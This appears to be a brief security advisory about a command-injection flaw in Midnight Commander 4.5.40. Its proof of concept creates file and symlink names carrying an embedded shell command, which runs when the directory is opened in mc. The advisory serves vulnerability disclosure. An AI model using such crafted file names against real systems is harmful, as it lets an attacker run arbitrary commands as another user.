COMMAND
mc
SYSTEMS AFFECTED
mc 4.5.40
PROBLEM
Michal Zalewski found following:
~$ grep lslR /usr/lib/mc/extfs/extfs.ini
# For browsing lslR listings (found on many ftp sites)
lslR
~$ ls -l /usr/lib/mc/extfs/lslR
-rwxr-xr-x 1 root root 635 paź 18 1998 /usr/lib/mc/extfs/lslR
~$ ln -s /DoesNotExist ';echo>PROVE-IT;#lslR'
~$ touch ';echo>PROVE-IT;'
~$ ls -l PROVE-IT
ls: PROVE-IT: No such file or directory
~$ mc
Surprisingly, you'll see directory instead of broken symlink. No
need to do anything, immediately quit from Midnight Commander
~$ ls -l PROVE-IT
-rw------- 1 lcamtuf lcamtuf 1 lip 10 05:55 PROVE-IT
Nice - lslR fs support is only an example, of course.
SOLUTION
Nothing yet. Anyway, few ppl couldn't repro this. perhaps
distro?